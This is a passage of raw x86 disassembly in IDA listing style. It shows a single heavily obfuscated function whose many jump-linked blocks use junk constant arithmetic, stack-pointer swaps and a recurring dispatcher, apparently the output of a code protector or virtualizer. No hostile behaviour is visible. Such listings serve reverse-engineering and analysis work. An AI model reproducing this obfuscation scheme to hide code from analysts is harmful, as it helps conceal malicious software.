		push	eax


loc_59E700:				; CODE XREF: sub_58A891+217BAj
		jmp	loc_5A83BE
; ---------------------------------------------------------------------------


loc_59E705:				; CODE XREF: sub_58A891+14D68j
		pop	edx
		or	ebx, eax
		pop	eax
		jmp	loc_5B2E02
; ---------------------------------------------------------------------------


loc_59E70E:				; CODE XREF: sub_58A891+23EA0j
		shl	eax, 6
		jmp	loc_59CAB0
; ---------------------------------------------------------------------------


loc_59E716:				; CODE XREF: sub_58A891+1658Fj
		jmp	loc_5AF399
; ---------------------------------------------------------------------------


loc_59E71B:				; CODE XREF: sub_58A891+1524Fj
		jz	loc_5A012D
		jmp	loc_5A6C86
; ---------------------------------------------------------------------------


loc_59E726:				; CODE XREF: sub_58A891+167F5j
		push	ebx
		mov	ebx, 2DDC09ABh
		add	ecx, ebx
		jmp	loc_59E8A3
; ---------------------------------------------------------------------------


loc_59E733:				; CODE XREF: sub_58A891+24BA2j
		mov	ebx, 472B4A56h
		jmp	loc_5A2540
; ---------------------------------------------------------------------------


loc_59E73D:				; CODE XREF: sub_58A891+1A9A8j
		push	6CF82A3Fh
		pop	ebp
		or	esi, ebp
		pop	ebp
		add	esi, 58CA832Eh
		push	ebp
		mov	ebp, 263E7DBAh
		sub	esi, ebp
		jmp	loc_5A26A3
; ---------------------------------------------------------------------------


loc_59E759:				; CODE XREF: sub_58A891+20D2Aj
		mov	ebp, esp
		push	edi
		mov	edi, 1F6D7D8Eh
		push	ecx
		jmp	loc_59CF7F
; ---------------------------------------------------------------------------


loc_59E767:				; CODE XREF: sub_58A891+1C295j
		add	eax, 18397DECh
		mov	ebp, [esp+84h+var_86+2]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp+80h+var_82+2]
		xor	[esp+80h+var_82+2], eax
		xor	eax, [esp+80h+var_82+2]
		mov	esp, [esp+80h+var_82+2]
		mov	eax, [esp+80h+var_82+2]
		push	edi
		mov	edi, esp
		jmp	loc_5ABA4A
; ---------------------------------------------------------------------------


loc_59E78C:				; CODE XREF: sub_58A891+21844j
		xchg	ecx, [esp+84h+var_86+2]
		jmp	loc_5AC3C9
; ---------------------------------------------------------------------------


loc_59E794:				; CODE XREF: sub_58A891+1A70Ej
		sub	esi, 64E90EF0h
		jmp	loc_5B12E0
; ---------------------------------------------------------------------------


loc_59E79F:				; CODE XREF: sub_58A891+1EFCBj
		mov	bl, 83h
		sub	al, bl
		jmp	loc_5B02BE
; ---------------------------------------------------------------------------


loc_59E7A8:				; CODE XREF: sub_58A891+1232Fj
					; sub_58A891+21202j
		mov	al, 25h
		jmp	loc_5A2C36
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Ah+var_8A]
		jmp	loc_5B152C
; ---------------------------------------------------------------------------


loc_59E7B8:				; CODE XREF: sub_58A891+24C62j
		push	2DDFh
		jmp	loc_5AD212
; ---------------------------------------------------------------------------


loc_59E7C2:				; CODE XREF: sub_58A891+16805j
		add	esi, 4
		jmp	loc_5A6C9C
; ---------------------------------------------------------------------------


loc_59E7CD:				; CODE XREF: sub_58A891+1A77Dj
		inc	ecx
		jge	loc_5A928C
		jmp	loc_5A48C4
; ---------------------------------------------------------------------------
		xchg	edi, [esp+8Eh+var_8E]
		pop	esp
		push	esi
		pop	ebp


loc_59E7DF:				; CODE XREF: sub_58A891+2819Bj
		mov	ecx, 71DB3074h
		shl	ecx, 8
		xor	ecx, 6F62162Fh
		add	ecx, 2DD72B72h
		xor	ebx, ecx
		jmp	loc_5A7600
; ---------------------------------------------------------------------------


loc_59E7FA:				; CODE XREF: sub_58A891+18A62j
		mov	bh, 7
		neg	bh
		jmp	loc_5AA897
; ---------------------------------------------------------------------------


loc_59E803:				; CODE XREF: sub_58A891+1B6BFj
		xor	edi, [esp+8Ah+var_8A]
		pop	esp
		mov	bl, dh
		push	[esp+86h+var_86]
		mov	edx, [esp+8Ah+var_8A]
		jmp	loc_5A7C09
; ---------------------------------------------------------------------------


loc_59E814:				; CODE XREF: sub_58A891+16DFEj
		mov	edi, [esp+8Ah+var_8A]
		add	esp, 4
		push	ebp
		jmp	loc_5A0565
; ---------------------------------------------------------------------------


loc_59E823:				; CODE XREF: sub_58A891+27DC8j
		push	esi
		jmp	loc_59D40C
; ---------------------------------------------------------------------------


loc_59E829:				; CODE XREF: sub_58A891+20349j
		sub	ecx, 735409D0h
		add	ecx, esi
		add	ecx, 735409D0h
		pop	esi
		push	ebx
		mov	ebx, 4
		jmp	loc_59FD1B
; ---------------------------------------------------------------------------


loc_59E843:				; CODE XREF: sub_58A891+1DC1Fj
		add	ebx, 1
		push	ebp
		push	0D9EF4E7h
		pop	ebp
		jmp	loc_5A49A3
; ---------------------------------------------------------------------------


loc_59E855:				; CODE XREF: sub_58A891+1C96Aj
		xor	esi, [esp+92h+var_92]
		xor	[esp+92h+var_92], esi
		xor	esi, [esp+92h+var_92]
		pop	esp
		add	ebx, eax
		pop	eax
		add	ebx, 79C71B42h
		add	ebx, eax
		sub	ebx, 79C71B42h
		push	3ACFh
		mov	[esp+8Eh+var_8E], ebp
		mov	ebp, 64E97715h
		sub	ebx, 21700494h
		add	ebx, 15E01D0Eh
		jmp	loc_5A747E
; ---------------------------------------------------------------------------


loc_59E88E:				; CODE XREF: sub_58A891+15FEDj
		sub	esp, 2
		mov	word ptr [esp+92h+var_92], bx
		mov	bl, 88h
		sub	al, 4Fh
		sub	al, bl
		jmp	loc_5AEDF9
; ---------------------------------------------------------------------------


loc_59E8A3:				; CODE XREF: sub_58A891+13E9Dj
		pop	ebx
		jmp	loc_5A3895
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+78h+var_7A+2]
		push	692Ah
		mov	[esp+7Ch+var_7E+2], ebp
		push	0F5Eh
		mov	[esp+80h+var_82+2], esp
		add	[esp+80h+var_82+2], 4
		jmp	loc_5ACA4C
; ---------------------------------------------------------------------------


loc_59E8C6:				; CODE XREF: sub_58A891+1A9BFj
		push	edx
		push	ebx
		jmp	loc_5A54D9
; ---------------------------------------------------------------------------


loc_59E8CD:				; CODE XREF: sub_58A891+19E21j
		mov	di, word ptr [esp+88h+var_8A+2]
		push	esi
		jmp	loc_5A1318
; ---------------------------------------------------------------------------


loc_59E8D7:				; CODE XREF: sub_58A891+20877j
		mov	[esp+8Ch+var_8E+2], edi
		push	esp
		pop	edi
		jmp	loc_5B085B
; ---------------------------------------------------------------------------


loc_59E8E1:				; CODE XREF: sub_58A891+1F943j
					; sub_58A891+21393j
		mov	esi, [esp+8Ch+var_8E+2]
		add	esp, 4
		jmp	loc_5B2925
; ---------------------------------------------------------------------------


loc_59E8EF:				; CODE XREF: sub_58A891+18AA0j
		xchg	ebx, edx
		jmp	loc_5AF2AF
; ---------------------------------------------------------------------------


loc_59E8F6:				; CODE XREF: sub_58A891+27226j
		movzx	cx, al
		jmp	loc_5AC21C
; ---------------------------------------------------------------------------


loc_59E8FF:				; CODE XREF: sub_58A891+1CAA9j
		mov	[esp+88h+var_8A+2], esp
		add	[esp+88h+var_8A+2], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_59D103
; ---------------------------------------------------------------------------


loc_59E91C:				; CODE XREF: sub_58A891+1729Ej
		pop	[esp+88h+var_8A+2]
		jmp	loc_5A4B68
; ---------------------------------------------------------------------------


loc_59E924:				; CODE XREF: sub_58A891+258EAj
		sub	ecx, 7F104DE1h
		pop	edi
		jmp	loc_5A33CF
; ---------------------------------------------------------------------------


loc_59E930:				; CODE XREF: sub_58A891+11CB0j
		mov	[esp+1Eh+var_20+2], ebp
		mov	ebp, 16F62D1Fh
		jmp	loc_59F794
; ---------------------------------------------------------------------------


loc_59E93D:				; CODE XREF: sub_58A891+1A804j
		mov	ecx, 3B250FDAh
		jmp	loc_5A78AA
; ---------------------------------------------------------------------------


loc_59E947:				; CODE XREF: sub_58A891+133B2j
		add	esi, ebx
		pop	ebx
		push	esi
		push	[esp+0Ah+var_8+2]
		pop	esi
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		mov	cx, word ptr [esp+6+var_8+2]
		push	70Fh
		mov	[esp+0Ah+var_C+2], esi
		jmp	loc_5A70C8
; ---------------------------------------------------------------------------


loc_59E967:				; CODE XREF: sub_58A891+1D1E7j
		sub	edi, 7E57198h
		jmp	loc_59F5D3
; ---------------------------------------------------------------------------


loc_59E972:				; CODE XREF: sub_58A891+125E8j
		add	ebp, 690E457Bh
		add	ebp, ecx
		push	esi
		mov	esi, 690E457Bh
		sub	ebp, esi
		pop	esi
		mov	ecx, [esp+74h+var_74]
		push	edi
		jmp	loc_59E6BD
; ---------------------------------------------------------------------------


loc_59E98C:				; CODE XREF: sub_58A891+19EBCj
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 2E905B0Ah
		sub	ebp, 7BA57D2Dh
		dec	ebp
		jmp	loc_5B11B5
; ---------------------------------------------------------------------------


loc_59E9A0:				; CODE XREF: sub_58A891+1A753j
		sub	esp, 4
		mov	[esp+80h+var_82+2], esi
		push	edi
		mov	edi, 5D755D12h
		add	edi, 40CD2298h
		jmp	loc_5A0D4D
; ---------------------------------------------------------------------------


loc_59E9B7:				; CODE XREF: sub_58A891+12EFCj
		shr	ecx, 5
		jnp	loc_5A9B9B
		sub	ecx, 13B782Bh
		mov	eax, ecx
		jmp	loc_5AC52E
; ---------------------------------------------------------------------------


loc_59E9CD:				; CODE XREF: sub_58A891+249DBj
		neg	ebx
		sub	ebx, 79DA82C3h
		jmp	loc_59C7C0
; ---------------------------------------------------------------------------


loc_59E9DA:				; CODE XREF: sub_58A891+1F804j
		mov	ecx, 4
		sub	edx, 5A381992h
		jmp	loc_59E39D
; ---------------------------------------------------------------------------


loc_59E9EA:				; CODE XREF: sub_58A891+19C71j
		mov	[esp+84h+var_86+2], ecx
		push	eax
		mov	eax, 5FD02166h
		push	ebx
		mov	ebx, 39007009h
		not	ebx
		add	ebx, 1
		xor	ebx, 5779000Dh
		jmp	loc_5A22CF
; ---------------------------------------------------------------------------


loc_59EA0C:				; CODE XREF: sub_58A891+1337Aj
		inc	ebp
		neg	ebp
		shl	ebp, 2
		add	ebp, 53E586Fh
		mov	ebx, ebp
		jmp	loc_5B27D3
; ---------------------------------------------------------------------------


loc_59EA1F:				; CODE XREF: sub_58A891+22E2Fj
		add	esp, 4
		push	eax
		inc	[esp+12h+var_14+2]
		pop	eax
		xor	eax, 25E6CC5h
		jmp	loc_5AA2CD
; ---------------------------------------------------------------------------


loc_59EA34:				; CODE XREF: sub_58A891+18EDFj
		mov	eax, [esp+0Eh+var_10+2]
		jmp	loc_5A2C3E
; ---------------------------------------------------------------------------


loc_59EA3C:				; CODE XREF: sub_58A891+2617Ej
		sub	esp, 4
		push	esp
		pop	[esp+16h+var_18+2]
		add	[esp+12h+var_14+2], 4
		pop	eax
		jmp	loc_5A9747
; ---------------------------------------------------------------------------


loc_59EA50:				; CODE XREF: sub_58A891+12F03j
		sub	ecx, 35692F62h
		jle	loc_5AC2CF
		and	ecx, 5D2540C9h
		jmp	loc_5B2D84
; ---------------------------------------------------------------------------


loc_59EA67:				; CODE XREF: sub_58A891+16F45j
		mov	edx, [esp+84h+var_86+2]
		add	esp, 4
		jmp	loc_5A1F5A
; ---------------------------------------------------------------------------


loc_59EA75:				; CODE XREF: sub_58A891+1BBF5j
		or	eax, eax
		jz	loc_5A8B44
		push	dword ptr [edi+1Ch]
		jmp	loc_5AFDA4
; ---------------------------------------------------------------------------


loc_59EA85:				; CODE XREF: sub_58A891+27127j
		dec	ecx
		jmp	loc_5A318B
; ---------------------------------------------------------------------------


loc_59EA8B:				; CODE XREF: sub_58A891+1238Bj
		xchg	ebx, ebp
		xchg	ebp, esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_5A9BC6
; ---------------------------------------------------------------------------


loc_59EA9A:				; CODE XREF: sub_58A891+12A91j
		add	edx, 1A2831D9h
		push	ebx
		mov	ebx, 36705C7Fh
		neg	ebx
		shr	ebx, 7
		inc	ebx
		jmp	loc_5AF06C
; ---------------------------------------------------------------------------


loc_59EAB1:				; CODE XREF: sub_58A891+25CB8j
		add	ch, 9Ah
		jb	loc_59FC6C
		or	ch, 0Ch
		jp	loc_5A5BFE
		jmp	loc_5AC13B
; ---------------------------------------------------------------------------


loc_59EAC8:				; CODE XREF: sub_58A891+19811j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59EACD:				; CODE XREF: sub_58A891+1B511j
		add	eax, edi
		pop	edi
		push	ebp
		push	esi
		mov	esi, 49885B6Fh
		jmp	loc_5A8EA2
; ---------------------------------------------------------------------------


loc_59EADC:				; CODE XREF: sub_58A891+21DA2j
		push	dword ptr [esp+0]
		mov	edx, [esp+0]
		push	65DBh
		mov	[esp+2+var_4+2], ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	765306ADh
		mov	esi, [esp+0Eh+var_10+2]
		jmp	loc_59CCCC
; ---------------------------------------------------------------------------


loc_59EAFB:				; CODE XREF: sub_58A891+20CE5j
					; sub_58A891+27113j
		sub	ebx, 15D1650h
		sub	ebx, edx
		push	0CDFh
		mov	[esp+12h+var_14+2], esi
		mov	esi, 626E6883h
		jmp	loc_5AFDE2
; ---------------------------------------------------------------------------


loc_59EB15:				; CODE XREF: sub_58A891+24A04j
		pop	[esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_5A2A5A
; ---------------------------------------------------------------------------


loc_59EB21:				; CODE XREF: sub_58A891+1D007j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A7ABF
; ---------------------------------------------------------------------------


loc_59EB32:				; CODE XREF: sub_58A891+1293Fj
		mov	edx, esp
		jmp	loc_59C8A8
; ---------------------------------------------------------------------------


loc_59EB39:				; CODE XREF: sub_58A891+1DB75j
		mov	ecx, [esp+7Eh+var_7E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+82h+var_82]
		jmp	loc_5A4A5D
; ---------------------------------------------------------------------------


loc_59EB53:				; CODE XREF: sub_58A891:loc_59CC36j
					; sub_58A891+21642j
		pop	ebp
		or	edx, 7E2533E3h
		push	ecx
		mov	ecx, 49731646h
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 41A56F9h
		and	ebp, 66013446h
		sub	ebp, 0F8A8F4AEh
		or	edx, ebp
		pop	ebp
		add	edx, 34886043h
		add	ecx, edx
		mov	edx, [esp+72h+var_74+2]
		add	esp, 4
		xor	ecx, [esp+6Eh+var_70+2]
		xor	[esp+6Eh+var_70+2], ecx
		xor	ecx, [esp+6Eh+var_70+2]
		mov	esp, [esp+6Eh+var_70+2]
		xor	word ptr [esp+6Eh+var_70+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59EB9F:				; CODE XREF: sub_58A891+1EDCEj
		pop	edx
		xor	al, bh
		mov	bx, word ptr [esp+6Eh+var_70+2]
		push	ebx
		jmp	loc_5AD32D
; ---------------------------------------------------------------------------


loc_59EBAC:				; CODE XREF: sub_58A891+2744Fj
		not	edx
		xchg	edx, [esp+72h+var_74+2]
		jmp	loc_5ABC77
; ---------------------------------------------------------------------------


loc_59EBB6:				; CODE XREF: sub_58A891+1F7CAj
		pop	edi
		add	esp, 4
		jmp	loc_59EBC7
; ---------------------------------------------------------------------------


loc_59EBBF:				; CODE XREF: sub_58A891+11B62j
					; sub_58A891+2824Bj
		xor	eax, [esp-1Eh+arg_18+2]
		jmp	loc_5A461E
; ---------------------------------------------------------------------------


loc_59EBC7:				; CODE XREF: sub_58A891+14329j
		xor	ecx, [esp+6Ah+var_6C+2]
		xor	[esp+6Ah+var_6C+2], ecx
		jmp	loc_5A7CC4
; ---------------------------------------------------------------------------


loc_59EBD2:				; CODE XREF: sub_58A891+211F5j
		inc	esi
		add	esi, 759F7B12h
		xor	esi, 28EF3FBCh
		jmp	loc_5A5AF7
; ---------------------------------------------------------------------------


loc_59EBE4:				; CODE XREF: sub_58A891+1C45Cj
					; sub_58A891+1F466j
		pop	edi
		jmp	loc_5AE06F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+66h+var_68+2]
		sub	esp, 4
		jmp	loc_5A2436
; ---------------------------------------------------------------------------


loc_59EBF9:				; CODE XREF: sub_58A891+17019j
		push	[esp+6Ah+var_68+2]
		mov	ebp, [esp+6Eh+var_70+2]
		jmp	loc_5A2EF2
; ---------------------------------------------------------------------------


loc_59EC05:				; CODE XREF: sub_58A891+21555j
		pop	esi
		jmp	loc_59CC95
; ---------------------------------------------------------------------------


loc_59EC0B:				; CODE XREF: sub_58A891+21DBFj
		mov	edx, 8CBF8582h
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 3C942089h
		shl	esi, 7
		shl	esi, 1
		jmp	loc_59D7E0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+6Ah+var_6C+2]
		push	418Eh
		jmp	loc_5A5B3C
; ---------------------------------------------------------------------------


loc_59EC31:				; CODE XREF: sub_58A891:loc_5B2E9Dj
		not	ebp
		sub	ebp, 0EE4DFEF4h
		dec	ebp
		add	ebp, 632043F9h
		push	edi
		mov	edi, 3E843019h
		jmp	loc_5B2E7D
; ---------------------------------------------------------------------------


loc_59EC4B:				; CODE XREF: sub_58A891+1A6CFj
		add	eax, 4
		push	7BFh
		mov	[esp+0], ebp
		sub	esp, 4
		mov	[esp+7Ah+var_7A], ecx
		mov	ecx, 396055Ah
		mov	ebp, 0FC69FAAAh
		add	ebp, ecx
		pop	ecx
		sub	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		xchg	eax, [esp+72h+var_74+2]
		mov	esp, [esp+72h+var_74+2]
		jmp	loc_5A37AF
; ---------------------------------------------------------------------------


loc_59EC85:				; CODE XREF: sub_58A891+198FEj
		xchg	eax, ebp
		jmp	loc_5A6DF6
; ---------------------------------------------------------------------------


loc_59EC8B:				; CODE XREF: sub_58A891+214A1j
		add	ebp, 3B50529Eh
		sub	ebp, 0F4AC2C05h
		push	edx
		jmp	loc_5AE04C
; ---------------------------------------------------------------------------


loc_59EC9D:				; CODE XREF: sub_58A891+16D6Ej
		mov	esp, [esp+0]
		mov	[esp+0], edx
		jmp	loc_5ABEDF
; ---------------------------------------------------------------------------


loc_59ECA8:				; CODE XREF: sub_58A891+1C0E1j
		mov	[esp+0], eax
		mov	eax, edi
		jmp	loc_59EE71
; ---------------------------------------------------------------------------


loc_59ECB2:				; CODE XREF: sub_58A891+28154j
		add	edx, 4
		jmp	loc_5A1E60
; ---------------------------------------------------------------------------


loc_59ECBD:				; CODE XREF: sub_58A891+205DBj
		add	ebx, edx
		push	eax
		sub	esp, 4
		mov	[esp+7Eh+var_7E], ebx
		mov	ebx, 548A097Bh
		mov	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_5AC4BB
; ---------------------------------------------------------------------------


loc_59ECD4:				; CODE XREF: sub_58A891+26CD9j
		push	ecx
		mov	ecx, 7B567CE1h
		dec	ecx
		push	edi
		jmp	loc_5AC0AB
; ---------------------------------------------------------------------------


loc_59ECE1:				; CODE XREF: sub_58A891+1F00Ej
		mov	dx, 1
		add	bp, dx
		jmp	loc_59DBAC
; ---------------------------------------------------------------------------


loc_59ECED:				; CODE XREF: sub_58A891+1ADECj
		pop	ecx
		add	esp, 4
		pop	[esp+7Eh+var_7E]
		xor	ecx, edx
		jmp	loc_5B24D7
; ---------------------------------------------------------------------------


loc_59ECFB:				; CODE XREF: sub_58A891+18E01j
		shr	ecx, 3
		push	edi
		mov	edi, 36946F50h
		jmp	loc_5A0AB5
; ---------------------------------------------------------------------------


loc_59ED09:				; CODE XREF: sub_58A891+25451j
		xchg	edi, [esp+7Eh+var_7E]
		pop	esp
		jmp	loc_5A5567
; ---------------------------------------------------------------------------


loc_59ED12:				; CODE XREF: sub_58A891+220FEj
		pop	ebx
		xor	al, dl
		mov	dx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_5A001C
; ---------------------------------------------------------------------------


loc_59ED2D:				; CODE XREF: sub_58A891+2294Cj
		add	eax, 22335F93h
		add	eax, ebp
		push	ebp
		jmp	loc_5A2E70
; ---------------------------------------------------------------------------


loc_59ED3A:				; CODE XREF: sub_58A891+160F1j
					; sub_58A891:loc_5A8FF6j
		add	esp, 4
		add	esp, 4
		xor	edi, 54537D03h
		mov	ecx, [esp+7Ah+var_7A]
		add	esp, 4
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_5AA8F9
; ---------------------------------------------------------------------------


loc_59ED5F:				; CODE XREF: sub_58A891+229CBj
		xor	edx, 0C3147DAAh
		sub	edi, edx
		jmp	loc_5A0155
; ---------------------------------------------------------------------------


loc_59ED6C:				; CODE XREF: sub_58A891+17AC2j
		or	bh, 6
		jmp	loc_5B235F
; ---------------------------------------------------------------------------


loc_59ED74:				; CODE XREF: sub_58A891+222A4j
		xor	edx, esi
		pop	esi
		mov	eax, [esp+6Eh+var_70+2]
		add	esp, 4
		sub	eax, edx
		push	[esp+6Ah+var_6C+2]
		pop	edx
		add	esp, 4
		xchg	eax, [esp+66h+var_68+2]
		pop	esp
		mov	word ptr [esp+62h+var_64+2], dx
		push	ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59ED96:				; CODE XREF: sub_58A891+1FEF3j
		pop	[esp+68h+var_68]
		pop	esp
		jmp	loc_5A6984
; ---------------------------------------------------------------------------


loc_59ED9F:				; CODE XREF: sub_58A891+196BAj
		mov	word ptr [esp+60h+var_60], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59EDA8:				; CODE XREF: sub_58A891+160CCj
		mov	edi, 56A84569h
		push	ebp
		mov	ebp, 432E6816h
		shl	ebp, 7
		sub	ebp, 5E50DD7Dh
		jmp	loc_59FD4B
; ---------------------------------------------------------------------------


loc_59EDC1:				; CODE XREF: sub_58A891+25124j
		shr	ebx, 2
		jmp	loc_5AA44A
; ---------------------------------------------------------------------------


loc_59EDC9:				; CODE XREF: sub_58A891+26E4Dj
		push	5530h
		mov	[esp+68h+var_68], edx
		mov	dh, 0D2h
		sub	dh, 2Bh
		jns	loc_5A32F2
		push	ebx
		jmp	loc_5A234F
; ---------------------------------------------------------------------------


loc_59EDE2:				; CODE XREF: sub_58A891+20C3Cj
		add	al, cl
		jmp	loc_59CF0C
; ---------------------------------------------------------------------------


loc_59EDE9:				; CODE XREF: sub_58A891+22FE2j
		push	[esp+6Ch+var_6C]
		pop	ecx
		push	1AEFh
		mov	[esp+70h+var_70], edi
		mov	edi, esp
		push	eax
		jmp	loc_5B0984
; ---------------------------------------------------------------------------


loc_59EDFD:				; CODE XREF: sub_58A891+16DDDj
		add	edx, 20187ACAh
		not	edx
		inc	edx
		push	ecx
		jmp	loc_5AF84A
; ---------------------------------------------------------------------------


loc_59EE0C:				; CODE XREF: sub_58A891+13913j
		add	ecx, 617F7792h
		jns	loc_5AA36E
		dec	ecx
		xor	ecx, 6ED7378h
		mov	ah, ah
		push	edi


loc_59EE22:				; CODE XREF: sub_58A891+27072j
		xchg	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		shr	ecx, 0Ah
		push	59A4h
		mov	[esp+1Ah+var_1C+2], edi
		mov	edi, ebx
		mov	eax, edi
		push	[esp+1Ah+var_1C+2]
		mov	edi, [esp+1Eh+var_20+2]
		jmp	loc_5A055D
; ---------------------------------------------------------------------------


loc_59EE40:				; CODE XREF: sub_58A891+1F342j
		xor	eax, 3C9BCE26h
		add	edi, eax
		jmp	loc_5A9FC2
; ---------------------------------------------------------------------------


loc_59EE4C:				; CODE XREF: sub_58A891+16069j
		inc	ebx
		shl	ebx, 6
		add	ebx, 0CC356CE5h
		jmp	loc_5B156F
; ---------------------------------------------------------------------------


loc_59EE5B:				; CODE XREF: sub_58A891+20ED0j
		pop	eax
		pop	ebx
		jmp	loc_5A9377
; ---------------------------------------------------------------------------


loc_59EE62:				; CODE XREF: sub_58A891+19D5Bj
		push	[esp+16h+var_18+2]
		pop	eax
		jmp	loc_5A889B
; ---------------------------------------------------------------------------


loc_59EE6B:				; CODE XREF: sub_58A891:loc_59DAFBj
		dec	ebx
		jmp	loc_5A318B
; ---------------------------------------------------------------------------


loc_59EE71:				; CODE XREF: sub_58A891+1441Cj
		mov	edx, eax
		pop	eax
		pop	edi
		jmp	loc_5A6AE8
; ---------------------------------------------------------------------------


loc_59EE7A:				; CODE XREF: sub_58A891+21A20j
		add	ecx, 3EC8538Fh
		add	ecx, edx
		sub	ecx, 3EC8538Fh
		jmp	loc_59CF9E
; ---------------------------------------------------------------------------


loc_59EE8D:				; CODE XREF: sub_58A891+1C44Cj
		mov	[esp+6Eh+var_70+2], eax
		push	[esp+6Eh+var_6C+2]
		pop	eax
		pop	[esp+6Eh+var_70+2]
		jmp	loc_5A0863
; ---------------------------------------------------------------------------


loc_59EE9D:				; CODE XREF: sub_58A891+22B6Aj
		mov	[esp+6Ah+var_6C+2], ecx
		jmp	loc_5A69DC
; ---------------------------------------------------------------------------


loc_59EEA5:				; CODE XREF: sub_58A891+23EF6j
		mov	edx, 4
		push	edi
		mov	edi, 2F4639DDh
		shr	edi, 6
		xor	edi, 61F15F54h
		sub	ecx, edi
		pop	edi
		add	ecx, edx
		add	ecx, 614C47B3h
		push	[esp+6Ah+var_6C+2]
		mov	edx, [esp+6Eh+var_70+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5AE0C2
; ---------------------------------------------------------------------------


loc_59EEDB:				; CODE XREF: sub_58A891+264EDj
		xchg	ebp, [esp+72h+var_74+2]
		pop	esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+72h+var_74+2], esi
		push	[esp+72h+var_70+2]
		mov	esi, [esp+0]
		jmp	loc_5B0F80
; ---------------------------------------------------------------------------


loc_59EEFA:				; CODE XREF: sub_58A891+27CCAj
		mov	esi, 15D93A53h
		not	esi
		inc	esi
		push	edi
		mov	edi, 74DD3630h
		shr	edi, 4
		not	edi
		push	eax
		jmp	loc_5B1B0F
; ---------------------------------------------------------------------------


loc_59EF13:				; CODE XREF: sub_58A891+1DFC1j
		xchg	ebx, [esp+7Eh+var_7E]
		pop	esp
		mov	[esp+7Ah+var_7A], eax
		push	esp
		pop	eax
		jmp	loc_5AA79D
; ---------------------------------------------------------------------------


loc_59EF21:				; CODE XREF: sub_58A891+27040j
		add	esi, ecx
		push	[esp+7Ah+var_7A]
		jmp	loc_5AED75
; ---------------------------------------------------------------------------


loc_59EF2B:				; CODE XREF: sub_58A891+1BB81j
		mov	ebx, 4D9353D9h
		push	eax
		jmp	loc_5A1301
; ---------------------------------------------------------------------------


loc_59EF36:				; CODE XREF: sub_58A891+1A5DCj
		inc	esi
		add	esi, 26A3210Eh
		jmp	loc_5AD41D
; ---------------------------------------------------------------------------


loc_59EF42:				; CODE XREF: sub_58A891+172CBj
		mov	[esp+82h+var_82], edi
		mov	edi, 1BD41C0Ch
		jmp	loc_5AE69D
; ---------------------------------------------------------------------------


loc_59EF4F:				; CODE XREF: sub_58A891+1F671j
					; sub_58A891+22DCEj
		push	ebx
		xor	[esp+86h+var_86], 37BE65E1h
		mov	edx, [esp+86h+var_86]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Ah+var_8A]
		pop	esp
		push	1B52h
		mov	[esp+8Ah+var_8A], ecx
		mov	ecx, 37BE65E1h
		jmp	loc_59D443
; ---------------------------------------------------------------------------


loc_59EF7C:				; CODE XREF: sub_58A891+1B011j
		push	714B2B56h
		pop	edx
		add	ecx, 332E1278h
		jmp	loc_5A1518
; ---------------------------------------------------------------------------


loc_59EF8D:				; CODE XREF: sub_58A891+28477j
		add	bl, al
		jmp	loc_5AA170
; ---------------------------------------------------------------------------


loc_59EF94:				; CODE XREF: sub_58A891+1BE54j
		mov	esi, 5563730h
		jmp	loc_5A5B51
; ---------------------------------------------------------------------------


loc_59EF9E:				; CODE XREF: sub_58A891+23C63j
		sub	esi, 1E76EE79h
		jmp	loc_5AE2F6
; ---------------------------------------------------------------------------


loc_59EFA9:				; CODE XREF: sub_58A891:loc_5A23EBj
		inc	edi
		jz	loc_5B1A23
		add	edi, 1
		sub	edi, 9AD1F9BEh
		sub	esp, 4
		mov	[esp+8Eh+var_8E], esi
		mov	esi, edi
		jmp	loc_5B1180
; ---------------------------------------------------------------------------


loc_59EFC9:				; CODE XREF: sub_58A891+22FA1j
		mov	[esp+8Eh+var_8E], edx
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		push	[esp+96h+var_96]
		push	[esp+9Ah+var_9A]
		push	[esp+9Eh+var_9E]
		pop	ecx
		jmp	loc_5A3FBE
; ---------------------------------------------------------------------------


loc_59EFE2:				; CODE XREF: sub_58A891+157A9j
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ebx
		mov	ebx, 4040A592h
		push	6D74h
		mov	[esp+0A6h+var_A6], esi
		jmp	loc_5A893A
; ---------------------------------------------------------------------------


loc_59EFFD:				; CODE XREF: sub_58A891+232C5j
		add	esp, 4
		xchg	eax, ebx
		push	1CFBh
		mov	[esp+0A6h+var_A6], ebp
		push	edi
		push	12E82CD9h
		pop	edi
		jmp	loc_5A296E
; ---------------------------------------------------------------------------


loc_59F018:				; CODE XREF: sub_58A891+19FCBj
		pop	ebx
		inc	ebx
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ecx
		mov	ecx, 2CBE0763h
		jmp	loc_59D1ED
; ---------------------------------------------------------------------------


loc_59F02D:				; CODE XREF: sub_58A891+2479Cj
		push	[esp+0AAh+var_AA]
